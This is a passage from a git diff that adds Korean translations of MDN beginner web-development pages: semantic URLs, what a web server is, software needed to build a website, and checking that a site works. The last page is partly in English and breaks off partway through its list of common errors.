+<p>매우 기술적인 것에도 불구하고, URLs은 웹 사이트를 위한 인간이 읽을 수 있는 시작점을 나타낸다. URL은 저장될 수 있고, 누군가가 URL을 주소바에 기입할 수 있다. 사람들이 웹에 핵심에 있다. 그리고, <a href="http://en.wikipedia.org/wiki/Semantic_URL"><em>semantic URLs</em></a>이라 불리는 것을 구축하기 위해 최선을 고려한다.  Semantic URLs은 기술적인 노하우와 상관없이 누구나 이해할 수 있게 하는 의미로 단어들을 사용한다.</p>
+
+<p>언어학적 의미론(Semantics)은 컴퓨터와 상관없는 코스다. 아마도 자주 임의의 문자들의 조합처럼 보이는 URL을 봤을 것이다. 그러나 인간이 읽을 수 있는 URL들을 만드는 것에는 많은 장점이 있다:</p>
+
+<ul>
+ <li>당신이 URL을 조작하기 쉽게 한다.</li>
+ <li>어디에 있고, 무엇을 하고, 무엇을 읽거나 웹에서 상호작용하는 지에 대해 유저들에게 분명히 알려준다.</li>
+ <li>몇몇의 검색엔진은 관련 페이지들을 잘 분류하기 위해 이런 의미론을 사용할 수 있다.</li>
+</ul>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Understanding_domain_names">도메인 명 이해하기</a></li>
+</ul>
diff --git a/files/ko/learn/common_questions/what_is_a_web_server/index.html b/files/ko/learn/common_questions/what_is_a_web_server/index.html
new file mode 100644
index 0000000000..9e57fc8391
--- /dev/null
+++ b/files/ko/learn/common_questions/what_is_a_web_server/index.html
@@ -0,0 +1,118 @@
+---
+title: 웹 서버란 무엇일까?
+slug: Learn/Common_questions/What_is_a_web_server
+translation_of: Learn/Common_questions/What_is_a_web_server
+---
+<div class="summary">
+<p>여기서 우리는 웹 서버가 무엇인지, 어떻게 동작하는지, 왜 중요한지를 알아볼 것입니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 지식:</th>
+   <td><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">web page와 web site, web server, 그리고 search engine의 차이점</a>에 대해 이해하고 <a href="/en-US/docs/Learn/How_the_Internet_works">인터넷이 어떻게 동작하는지</a>를 이미 알아야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>web server가 무엇인지를 배우고, 어떻게 동작하는지에 대한 전반적인 이해를 얻을 것입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p>"Web server"는 하드웨어, 소프트웨어 혹은 두 개가 같이 동작하는 것을 의미할 수 있습니다. </p>
+
+<ol>
+ <li>하드웨어 측면에서, web server는 web server의 소프트웨어와 website의 컴포넌트 파일들을 저장하는 컴퓨터입니다. (컴포넌트 파일에는 HTML 문서, images, CSS stylesheets, 그리고 JavaScript files가 있습니다.) Web server는 인터넷에 연결되어 웹에 연결된 다른 기기들이 웹 서버의 데이터(컴포넌트 파일들)를 주고받을 수 있도록 합니다.</li>
+ <li>소프트웨어 측면에서, web server는 기본적으로 웹 사용자가 어떻게 호스트 파일들에 접근하는지를 관리합니다. 이 문서에서 web server는 HTTP서버로 국한합니다. HTTP 서버는 URL(Web addresses)과 HTTP(당신의 브라우저가 웹 페이지를 보여주기 위해 사용하는 프로토콜)의 소프트웨어 일부입니다.</li>
+</ol>
+
+<p>가장 기본적인 단계에서, 브라우저가 웹 서버에서 불려진 파일을 필요로 할때, 브라우저는 HTTP를 통해 파일을 요청합니다. 요청이 올바른 웹 서버(하드웨어)에 도달하였을 때, HTTP 서버(software)는 요청된 문서를 HTTP를 이용해 보내줍니다. </p>
+
+<p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p>
+
+<p>웹 사이트를 공개하기 위해서는, 당신은 정적 혹은 동적 웹 서버가 필요합니다.</p>
+
+<p>정적 웹 서버 혹은 스택은 HTTP 서버 (소프트웨어)가 있는 컴퓨터(하드웨어)로 구성되어 있습니다. 서버가 그 불려진 파일을 당신의 브라우저에게 전송하기 때문에, 저희는 그것을 "정적"이라고 부릅니다.</p>
+
+<p>동적 웹 서버는 정적 웹 서버와 추가적인 소프트웨어(대부분 일반적인 애플리케이션 서버와 데이터베이스)로 구성되어 있습니다. 애플리케이션 서버가 HTTP 서버를 통해 당신의 브라우저에게 불려진 파일들을 전송하기 전에, 애플리케이션 서버가 업데이트하기 때문에 우리는 이것을 동적이라고 부릅니다.</p>
+
+<p>예를 들어, 당신이 브라우저에서 보는 최종 웹페이지들을 생성하기 위해, 애플리케이션 서버는 아마 데이터베이스로 온 컨텐츠들로 이루어진 HTML 템플릿을 채울지 모릅니다. MDN 혹은 Wikipedia와 같은 사이트들은 수 천개의 웹페이지들을 가지고 있지만, 그것들은 실제의 HTML 문서가 아니라 오직 약간의 HTML 템플릿과 엄청 큰 데이터베이스로 되어있습니다. 이 구성은 내용들을 전달하고 관리하기 쉽고 빠르게 만들어 줍니다.</p>
+
+<h2 id="활발한_교육">활발한 교육</h2>
+
+<p>아직 자료가 없습니다. 부디 <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">기여하여주세요</a>.</p>
+
+<h2 id="더_깊은_부분">더 깊은 부분</h2>
+
+<p>웹 페이지를 가져오기 위해, 우리가 이미 말했듯이, 당신의 브라우저는 저장 공간에 있는 요청된 파일들을 찾는 웹 서버에게 요청을 보냅니다. 한번 좀더 자세히 알아봅시다. </p>
+
+<h3 id="호스팅_파일들">호스팅 파일들</h3>
+
+<p>웹 서버는 처음에 HTML 문서라고 불리는 웹 사이트의 파일들과 이미지, CSS 스타일시트, JavaScript 파일, 폰트, 비디오를 포함한 관련된 것들을 저장해야합니다. </p>
+
+<p>기술적으로, 당신은 컴퓨터에 있는 그 파일들을 불러올수 있지만, 그것들을 전담하는 웹 서버에 저장하는것이 훨씬 더 편리합니다. 전담하는 웹서버는: </p>
+
+<ul>
+ <li>항상 실행 중입니다</li>
+ <li>항상 인터넷과 연결되어 있습니다</li>
+ <li>항상 같은 IP주소를 가지고 있습니다(모든  {{Glossary("ISP", "ISPs")}}가 홈 라인에 대해 고정된 IP주소를 제공하는 것은 아닙니다.)</li>
+ <li>제 3자에 의해 유지보수 됩니다</li>
+</ul>
+
+<p>이러한 이유들로, 좋은 호스팅 제공자를 찾는 것은 당신의 웹 사이트를 구축하는 것의 핵심 부분입니다. 다양한 서비스 회사들의 조건을 살펴보고 당신의 필요와 예산을 충족하는 하나를 선택하세요 (서비스는 무료부터 매달 수 백만원까지 있습니다.) 더 많은 자세한 사항은 <a href="https://developer.mozilla.org/en-US/Learn/How_much_does_it_cost#Hosting">여기서 </a>찾을 수 있습니다.</p>
+
+<p>당신이 웹 호스팅 솔루션을 설정했다면, 그저 당신의 <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">웹 서버에 파일들을 업로드 하시면 됩니다.</a></p>
+
+<h3 id="HTTP를_이용해_통신하기">HTTP를 이용해 통신하기</h3>
+
+<p>두 번째로, 웹 서버는 {{Glossary("HTTP")}} (hypertext transfer protocol)을 위한 지원합니다. 이름이 의미하듯이, HTTP는 어떻게 두 컴퓨터간의 hypertext(예를 들어, 연결된 웹 문서)를 전송하는지를 서술합니다.</p>
+
+<p>프로토콜은 두 컴퓨터간의 통신를 위한 규칙의 집합입니다. HTTP는 문자로 된, 독립적인 프로토콜입니다.</p>
+
+<dl>
+ <dt>Textual(문자로 된)</dt>
+ <dd>모든 명령어들은 기본 문자이며 사람들이 읽을 수 있습니다. </dd>
+ <dt>Stateless(독립적인)</dt>
+ <dd>서버 혹은 클라이언트는 이전의 통신을 기억하지 않습니다. 예를 들어, HTTP에만 의존하면, 서버는 당신이 입력한 비밀번호 혹 당신이 처리한 단계를 기억하지 못합니다. 당신은 그러한 일들을 위한 애플리케이션 서버가 필요합니다. (우리는 그러한 기술을 뒤에 나올 기사에서 다룰 것입니다.)</dd>
+</dl>
+
+<p>HTTP는 어떻게 클라이언트와 서버가 통신을 하는지 명확한 규칙을 제공합니다. 우리는 HTTP 그 자체를 나중에 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">technical article</a> 에서 다룰 것입니다. 현재는, 이러한 것들을 기억해주세요.</p>
+
+<ul>
+ <li>오직 클라이언트만이 HTTP 요청을 만들 수 있으며, 서버에게만 보낼 수 있습니다. 서버는 오직 클라이언트의 HTTP 요청에 응답할 수 있습니다. </li>
+ <li>HTTP를 통해 파일을 요청할때, 클라이언트는 반드시 {{Glossary("URL")}} 파일들을 제공해야 합니다.</li>
+ <li><font color="#3B3C40" face="Open Sans, Arial, sans-serif">웹 서버는 반드시 </font><font color="#3B3C40" face="Open Sans, Arial, sans-serif">최소한의 에러 메시지를 포함하여</font> <font color="#3B3C40" face="Open Sans, Arial, sans-serif">모든 HTTP 요청에 응답해야합니다. </font></li>
+</ul>
+
+<p><a href="https://developer.mozilla.org/en-US/404"><img alt="The MDN 404 page as an example of such error page" src="https://mdn.mozillademos.org/files/8661/mdn-404.jpg" style="float: right; height: 300px; width: 300px;"></a>웹 서버에서, HTTP 서버는 들어오는 요청들에 대해 응답하고, 처리해야 합니다. </p>
+
+<ol>
+ <li>요청을 받으면, HTTP 서버는 먼저 요청받은 URL이 존재하는 파일과 매칭이 되는지를 확인합니다.</li>
+ <li>
+  <p>만약 매칭된다면, 웹 서버는 그 파일 내용을 브라우저에게 되돌려줍니다. 만약 그렇지 않다면, 애플리케이션 서버는 필요한 파일을 구축합니다.</p>
+ </li>
+ <li>만약 위 둘의 과정이 불가능하다면, 웹 서버는 브라우저에게 에러 메시지를 반환합니다, 대부분의 에러 메시지는 "404 Not Found" 입니다.(이 에러는 너무 많이 발생하여 많은 웹 디자이너들은<a href="http://www.404notfound.fr/" rel="external">404 error pages</a>를 디자인하는데 많은 시간을 할애합니다. </li>
+</ol>
+
+<h3 id="정적_vs._동적_컨텐츠">정적 vs. 동적 컨텐츠</h3>
+
+<p>대략적으로 말하자면, 서버는 정적 혹은 동적 컨텐츠 모두 제공할 수 있습니다. "정적"은 "있는 그대로 제공되는 것(served as-is)"를 의미합니다. 정적 웹 사이트들은 설치하기 가장 쉽기때문에 우리는 당신이 첫 사이트를 정적 사이트로 만들기를 제안합니다.</p>
+
+<p>"동적"은 서버가 컨텐츠를 처리하는 것, 심지어는 컨텐츠를 데이터베이스로부터 생성하는 것을 의미합니다. 이 방법은 더 많은 유연성을 제공하지만, 기술적 스택이 더 다루기 힘들어지고, 웹사이트를 구축하는 것이 훨씬 더 복잡해집니다.</p>
+
+<p>당신이 지금 읽고있는 페이지를 예시로 봅시다. 이 사이트를 호스팅하고 있는 웹 서버에는, 데이터베이스로부터 내용들을 받고, 구성하고, HTML 템플릿 안에 집어넣고, 당신에게 결과를 보내는 애플리케이션 서버가 있습니다. 이러한 경우, 애플리케이션 서버는  <a href="https://developer.mozilla.org/en-US/docs/MDN/Kuma">Kuma</a>라고 불리고,  <a href="https://www.python.org/">Python</a>(<a href="https://www.djangoproject.com/">Django</a> 프레임워크를 이용한)으로 구축됩니다. Mozilla 팀은 MDN의 특수한 목적으로 Kuma를 만들었지만, 많은 다른 기술들로 만들어진 비슷한 애플리케이션이 존재합니다.</p>
+
+<p>애플리케이션 서버는 아주 많이 있어서 특정한 하나만 추천하기는 어렵습니다. 어떤 애플리케이션 서버는 블로그나 위키, 인터넷 쇼핑, {{Glossary("CMS", "CMSs")}}라고 불리는 다른 것들(컨텐츠 관리 시스템) 같은 특수한 웹 사이트에 특화되어 있습니다. 만약 당신이 동적 웹 사이트를 구축한다면, 당신의 필요에 맞는 도구를 선택하는 시간을 가져보세요. 웹 서버 프로그래밍을 배우기를 원하는 경우가 아니라면(믈론, 그 자체로도 흥미진진한 영역입니다!), 애플리케이션 서버를 새로 만들 필요가 없습니다. 그것은 휠을 다시 재발명 하는 것과 같은 일입니다.</p>
+
+<h2 id="다음_과정">다음 과정</h2>
+
+<p>이제 당신은 웹 서버에 익숙해졌으니, 아래와 같은 것들을 할 수 있습니다:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/How_much_does_it_cost">웹에서 어떤 것을 하는 것이 얼마나 많은 비용이 들지</a>를 읽어보기</li>
+ <li><a href="/en-US/docs/Learn/What_software_do_I_need.">당신이 웹 사이트를 생성하기 위해 필요한 다양한 소프트웨어</a>를 배우기</li>
+ <li><a href="/en-US/docs/Learn/Upload_files_to_a_web_server">웹 서버에 어떻게 파일을 업로드 하는 지</a>와 같은 실용적인 것으로 넘어가기</li>
+</ul>
diff --git a/files/ko/learn/common_questions/what_software_do_i_need/index.html b/files/ko/learn/common_questions/what_software_do_i_need/index.html
new file mode 100644
index 0000000000..f50ef17dd2
--- /dev/null
+++ b/files/ko/learn/common_questions/what_software_do_i_need/index.html
@@ -0,0 +1,180 @@
+---
+title: What software do I need to build a website?
+slug: Learn/Common_questions/What_software_do_I_need
+tags:
+  - 초보자
+translation_of: Learn/Common_questions/What_software_do_I_need
+---
+<div class="summary">
+<p>이 글에서, 우리는 당신이 편집하고, 업로드하고, 웹사이트를 볼 때 어떤 소프트웨어 구성품이 필요한 지 제시한다.</p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">요구사항:</th>
+   <td><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">웹페이지, 웹사이트, 웹서버, 검색엔진의 차이</a>를 알아야 한다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>만약 당신이 웹사이트를 편집하거나 업로드하거나 볼 때, 필요한 소프트웨어 구성품이 무엇인지 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="요약">요약</h2>
+
+<p>당신은 웹 개발에 필요한 대부분의 프로그램들을 무료로 다운 받을 수 있습니다. 우리는 이 글에서 몇 개의 링크를 제공할 것입니다. 당신은 1) 웹페이지를 생성하고 편집하기, 2) 웹 서버에 파일을 업로드하기, 3) 웹 페이지 보기 를 위한 툴들이 필요할 것입니다.</p>
+
+<p>거의 모든 운영체제는 기본적으로 텍스트 에디터와 웹 뷰어(브라우저)를 포함하고 있습니다. 그래서 보통 웹 서버로 파일을 전송할 소프트웨어 필요합니다.</p>
+
+<h2 id="Active_Learning">Active Learning</h2>
+
+<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="깊게_들어가기">깊게 들어가기</h2>
+
+<h3 id="웹_페이지를_생성하고_편집하기">웹 페이지를 생성하고 편집하기</h3>
+
+<p>웹사이트를 생성하고 편집하기 위해, 텍스트 에디터가 필요합니다. 텍스트 에디터는 무서식의 텍스트 파일을 생성하고 수정합니다.  (<strong>{{Glossary("RTF")}}</strong> 같은 다른 형식(format)들은, 볼드체와 밑줄같은 포멧을 추가하게 합니다. 이런 포맷들은 웹 페이지를 쓰는 데 적합하지 않습니다.) 당신은 현명하게 텍스트 에디터를 선택해야 합니다. 왜냐하면, 웹사이트를 구축하는 동안에, 광범위하게 사용해야하기 때문입니다.</p>
+
+<p>모든 데스크탑 운영체제는 기본적인 텍스트 에디터가 딸려 있습니다. 이런 에디터들은 모두 간단하지만, 웹페이지 코딩에 특별한 기능들이 부족합니다. 만약 당신이 더 복잡한 것을 원한다면, 많은 이용가능한 다른(third-party) 툴들이 있습니다. 서드-파티 에디터들은 구문 색표시, 자동완성, 섹션접기, 코드검색을 포함하는 추가 기능이 딸려 있습니다. 에디터들의 간략한 리스트입니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">운영 체제</th>
+   <th scope="col">내장 에디터</th>
+   <th scope="col">Third-party 에디터</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Windows</td>
+   <td><a href="http://en.wikipedia.org/wiki/Notepad_%28software%29" rel="external">Notepad</a></td>
+   <td>
+    <p><a href="http://notepad-plus-plus.org/">Notepad++</a></p>
+
+    <p><a href="https://www.visualstudio.com/">Visual Studio Code</a></p>
+
+    <p><a href="https://www.jetbrains.com/webstorm/">Web Storm</a></p>
+
+    <p><a href="http://brackets.io/">Brackets</a></p>
+
+    <p><a href="https://shiftedit.net/">ShiftEdit</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>Mac OS</td>
+   <td><a href="http://en.wikipedia.org/wiki/TextEdit" rel="external">TextEdit</a></td>
+   <td>
+    <p><a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a></p>
+
+    <p><a href="https://www.visualstudio.com/">Visual Studio Code</a></p>
+
+    <p><a href="http://brackets.io/">Brackets</a></p>
+
+    <p><a href="https://shiftedit.net/">ShiftEdit</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td><a href="http://en.wikipedia.org/wiki/Vi" rel="external">Vi</a> (All UNIX)<br>
+    <a href="http://en.wikipedia.org/wiki/Gedit" rel="external">GEdit</a> (Gnome)<br>
+    <a href="http://en.wikipedia.org/wiki/Kate_%28text_editor%29" rel="external">Kate</a> (KDE)<br>
+    <a href="http://en.wikipedia.org/wiki/Kate_(text_editor)" rel="external">LeafPad</a> (Xfce)</td>
+   <td>
+    <p><a href="http://www.gnu.org/software/emacs/">Emacs</a><br>
+     <a href="http://www.vim.org/" rel="external">Vim</a></p>
+
+    <p><a href="https://www.visualstudio.com/">Visual Studio Code</a></p>
+
+    <p><a href="http://brackets.io/">Brackets</a></p>
+
+    <p><a href="https://shiftedit.net/">ShiftEdit</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>Chrome OS</td>
+   <td> </td>
+   <td><a href="https://shiftedit.net/">ShiftEdit</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이것은 하나의 고급 텍스트 에디터의 스크린샷입니다:</p>
+
+<p><img alt="Screenshot of Notepad++." src="https://mdn.mozillademos.org/files/8221/NotepadPlusPlus.png" style="height: 311px; width: 450px;"> </p>
+
+<p>이것은 온라인 텍스트 에디터의 스크린샷입니다:</p>
+
+<p><img alt="Screenshot of ShiftEdit" src="https://mdn.mozillademos.org/files/15837/shiftedit.png" style="height: 311px; width: 475px;"></p>
+
+<h3 id="웹에_파일_업로드하기">웹에 파일 업로드하기</h3>
+
+<p>당신의 웹사이트가 대중들에게 보여지기 전에, 웹 서버에 웹페이지를 업로드 해야할 것입니다. 당신은 다양한 제공장로부터 서버의 공간을 살 수 있습니다. (<a class="new" href="/en-US/docs/Learn/How_much_does_it_cost">How much does it cost to do something on the web?</a>를 보십시오). 일단, 당신이 어떤 제공자를 사용할 지 정했다면, 제공자는 당신에게 FTP(파일 전송 프로토콜) 접근 정보를 이메일로 보낼 것입니다.웹 사이트를 만들 때, 웹 서버에 파일을 업로드 하는 것은 매우 중요한 단계입니다, 그래서 우리는 상세한 부분은 <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">a separate article(따로 분리한 글)</a>에서 다루겠습니다. 아래는 무료 기본 FTP 클라이언트의 목록입니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">운영체제</th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"> FTP 소프트웨어</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Windows</td>
+   <td>
+    <p><a href="http://winscp.net" rel="external">WinSCP</a></p>
+
+    <p><a href="http://mobaxterm.mobatek.net/">Moba Xterm</a></p>
+   </td>
+   <td colspan="1" rowspan="3">
+    <p><a href="https://filezilla-project.org/">FileZilla</a> (All OS)</p>
+
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td><a href="https://live.gnome.org/Nautilus" rel="external">Nautilus</a> (Gnome)<br>
+    <a href="http://dolphin.com/" rel="external">Dolphin</a> (KDE)</td>
+  </tr>
+  <tr>
+   <td>Mac OS</td>
+   <td><a href="http://cyberduck.de/">Cyberduck</a></td>
+  </tr>
+  <tr>
+   <td>Chrome OS</td>
+   <td><a href="https://shiftedit.net/">ShiftEdit</a> (All OS)</td>
+   <td colspan="1"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="웹사이트_보기">웹사이트 보기</h3>
+
+<p>알다시피, 웹사이트를 보기 위해 웹 브라우저가 필요합니다. 개인적인 사용을 위한 <a href="http://en.wikipedia.org/wiki/List_of_web_browsers">수 십개</a>의 브라우저 선택권이 있습니다. 그러나, 웹 사이트를 개발할 때, 대부분의 사람들이 당신의 사이트를 잘 이용하기 위해서는 다음의 주요 브라우저에서 테스트해야합니다.</p>
+
+<ul>
+ <li><a href="https://www.mozilla.org/en-US/firefox/new/" rel="external">Mozilla Firefox(파이어폭스)</a></li>
+ <li><a href="https://www.google.fr/chrome/browser/" rel="external">Google Chrome(크롬)</a></li>
+ <li><a href="http://windows.microsoft.com/en-US/internet-explorer/download-ie" rel="external">Microsoft Internet Explorer(인터넷 익스플로러)</a></li>
+ <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari(사파리)</a></li>
+</ul>
+
+<p>만약 당신이 기술적인 플랫폼이나 국가 등 특정한 그룹을 목적으로 한다면, <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://www.konqueror.org/">Konqueror</a>,<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a> 같은 추가적인 브라우저도 테스트해야할 지도 모릅니다.</p>
+
+<p>그러나 몇몇의 브라우저는 특정한 운영체제에서만 동작하기 때문에 테스트하는 것이 복잡합니다. 애플의 사파리는 iOS와 Max OS 에서만 동작하는 반면에, 인터넷 익스플로러는 윈도우에서만 동작합니다. <a href="http://browsershots.org/" rel="external">Browsershots</a>나 <a href="http://www.browserstack.com/" rel="external">Browserstack</a> 같은 서비스를 이용하는 것이 좋습니다. Browsershots은 다양한 브라우저에서 볼 때, 웹사이트의 스크린샷을 제공합니다. Browserstack은 사실 당신에게 가상머신에서 완전한 원거리 접근을 가능하게 해줍니다. 그래서 당신은 대부분의 공통 환경에서 사이트를 테스트할 수 있습니다. 그렇지 않으면, 당신 자신의 가상 머신을 설치하면 됩니다. 하지만 이것은 약간의 전문지식이 필요한 작업입니다. (만약 당신이 이런 길을 가고자 한다면, 마이크로소프트에서는 <a href="https://modern.ie" rel="external">modern.ie</a>.에서 사용 준비가 완료된 가상 머신이 포함된 개발자를 위한 툴들을 가지고 있습니다.)</p>
+
+<p>물론, 실제 장치에서 몇 번의 테스트를 해봐야한다. 특히, 실제 모바일 장치에서는. 모바일 장치 시뮬레이션은 새롭고, 진화하고 있는 기술이고 데스트탑 시뮬레이션보다 신뢰가 떨어진다. 물론, 모바일 장치는 돈이 든다. 그래서 우리는<a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>에서 보는 것을 제안한다. 당신이 너무 많은 소비없이 많은 플랫폼을 테스트하고 싶다면, 장치를 공유할 수 있다.</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<ul>
+ <li>몇몇의 소프트웨어는 무료이나, 모두 무료는 아니다. <a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">웹에서 무언가를 하기 위해 얼마나 비용이 드는 지 알아보기</a><a class="new" href="/en-US/docs/Learn/How_much_does_it_cost">.</a></li>
+ <li>당신이 더 많은 텍스트 에디터에 대해 배우고 싶다면, <a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">텍스트 에디터를 선택하고 설치하는 법</a>에 대한 글을 읽으세요.</li>
+ <li>당신이 웹에서 웹사이트를 퍼블리싱하는 법에 대해 궁금하다면, <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">"웹 서버에 파일을 업로드하는 법"</a>을 보십시오.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/common_questions/웹_사이트가_제대로_동작하는지_확인/index.html b/files/ko/learn/common_questions/웹_사이트가_제대로_동작하는지_확인/index.html
new file mode 100644
index 0000000000..d39ea4069f
--- /dev/null
+++ b/files/ko/learn/common_questions/웹_사이트가_제대로_동작하는지_확인/index.html
@@ -0,0 +1,170 @@
+---
+title: 웹 사이트가 제대로 동작하는지 확인하는 방법
+slug: Learn/Common_questions/웹_사이트가_제대로_동작하는지_확인
+translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly
+---
+<div class="summary">
+<p>이번에는 웹사이트 동작과 관련한 다양한 문제해결 단계와 그 문제들을 해결하기 위한 방법들을 알아보겠습니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제 조건:</th>
+   <td>먼저, <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">upload files웹 서버에 파일 업로드 방법</a>을 알아야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>웹 사이트에서 발생할 수 있는 기본적인 문제들과 해결방법을 알아봅시다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="Summary">개발하신 웹 사이트를 온라인상에 배포를 하였나요? 잘 했어요! 그런데 문제없이 동작하는게 확실한가요?</p>
+
+<p>종종 온라인에 배포한 웹 서버는 로컬에서 모습과는 꽤 다르게 동작할 때가 있습니다. 그 때문에 온라인에 배포할 때마다 한 번씩 확인이 필요합니다. 아마 많은 문제가 발생해 놀라게 될 텐데요: 이미지가 나오지 않거나, 페이지가 로딩이 안되거나 느리게 로딩되는 등 하는 문제들요. 대부분의 경우는 큰 문제가 아닙니다, 간단한 실수나 호스팅 세팅 같은 문제죠.</p>
+
+<p>이런 문제들을 어떻게 진단하고 해결하는지 살펴봅시다.</p>
+
+<h2 id="Active_Learning">Active Learning</h2>
+
+<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
+
+<h2 id="Dig_deeper">Dig deeper</h2>
+
+<h3 id="브라우저에서_테스트하기">브라우저에서 테스트하기</h3>
+
+<p>웹 사이트가 잘 동작하는지 알고 싶다면, 먼저 브라우저를 시작하고 테스트하려는 페이지로 이동하세요.</p>
+
+<h4 id="어_이미지가_어디갔죠">어?, 이미지가 어디갔죠?</h4>
+
+<p>우리의 개인 사이트를 봅시다.(동작x), <code>http://demozilla.examplehostingprovider.net/</code>. It's not showing the image we expected!</p>
+
+<p><img alt="Oops, the ‘unicorn’ image is missing" src="https://mdn.mozillademos.org/files/9643/image-missing.png" style="height: 189px; width: 380px;"></p>
+
+<p>Open Firefox's Network tool (<strong>Tools ➤ Web Developer ➤ Network</strong>) and reload the page:</p>
+
+<p><img alt="The image has a 404 error" src="https://mdn.mozillademos.org/files/9645/error404.png" style="height: 304px; width: 562px;"></p>
+
+<p>There's the problem, that "404" at the bottom. "404" means "resource not found", and that's why we didn't see the image.</p>
+
+<h4 id="HTTP_statuses">HTTP statuses</h4>
+
+<p>Servers respond with a status message whenever they receive a request. Here are the most common statuses:</p>
+
+<dl>
+ <dt><strong><span id="cke_bm_110S" style="display: none;"> </span>200: OK</strong></dt>
+ <dd>The resource you asked for was delivered.</dd>
+ <dt><strong>301: Moved permanently</strong></dt>
+ <dd>The resource has moved to a new location. You won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes.</dd>
+ <dt><strong>304: Not modified</strong></dt>
+ <dd>The file has not changed since the last time you asked for it, so your browser can display the version from its cache, resulting in faster response times and more efficient use of bandwidth.</dd>
+ <dt><strong>403: Forbidden</strong></dt>
+ <dd>You aren't allowed to display the resource. Usually it has to do with a configuration mistake (e.g. your hosting provider forgot to give you access rights to a directory).</dd>
+ <dt><strong>404: Not found</strong></dt>
+ <dd>Self-explanatory. We'll discuss how to solve this below.</dd>
+ <dt><strong>500: Internal server error</strong></dt>
+ <dd>Something went wrong on the server. For instance, maybe the server-side language ({{Glossary("PHP")}}, .Net, etc.) stopped working, or the web server itself has a configuration problem. Usually it's best to resort to your hosting provider's support team.</dd>
+ <dt><strong>503: Service unavailable</strong></dt>
+ <dd>Usually resulting from a shortterm system overload. The server has some sort of problem. Try again in a little while.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<p>As beginners checking our (simple) website, we'll deal most often with 200, 304, 403, and 404.</p>
+
+<h4 id="Fixing_the_404">Fixing the 404</h4>
+
+<p>So what went wrong?</p>
+
+<p><img alt="Le list of images in our project" src="https://mdn.mozillademos.org/files/9649/demozilla-images-list.png" style="height: 71px; width: 407px;"></p>
+
+<p>At first glance, the image we asked for seems to be in the right place... but the Network tool reported a "404". It turns out that we made a typo in our HTML code: <code>unicorn_pics.png</code> rather than <code>unicorn_pic.png</code>. So correct the typo in your code editor by changing the image's <code>src</code> attribute:</p>
+
+<p><img alt="Deleting the ‘s’" src="https://mdn.mozillademos.org/files/9651/code-correct.png" style="height: 125px; width: 775px;"></p>
+
+<p>Save, <a href="/en-US/Learn/Upload_files_to_a_web_server">push to the server</a>, and reload the page in your browser:</p>
+
+<p><img alt="The image loads corectly in the browser" src="https://mdn.mozillademos.org/files/9655/image-corrected.png" style="height: 554px; width: 565px;"></p>
+
+<p>There you go! Let's look at the {{Glossary("HTTP")}} statuses again:</p>
+
+<ul>
+ <li><strong>200</strong> for <code>/</code> and for <code>unicorn_pic.png</code> means that we succeeded in reloading the page and the image.</li>
+ <li><strong>304</strong> for <code>basic.css</code> means that this file has not changed since the last request, so the browser can use the file in its cache rather than receiving a fresh copy.</li>
+</ul>
+
+<p>So we fixed the error and learned a few HTTP statuses along the way!</p>
+
+<h3 id="Frequent_errors">Frequent errors</h3>
+
+<p>The most frequent errors that we find are these:</p>
+
+<h4 id="Typos_in_the_address">Typos in the address</h4>
+
+<p>We wanted to type <code>http://demozilla.examplehostingprovider.net/</code> but typed too fast and forgot an “l”:</p>
+
+<p><img alt="Address unreachable" src="https://mdn.mozillademos.org/files/9657/cannot-find-server.png" style="height: 425px; width: 908px;"></p>
+
+<p>The address cannot be found. Indeed.</p>
+
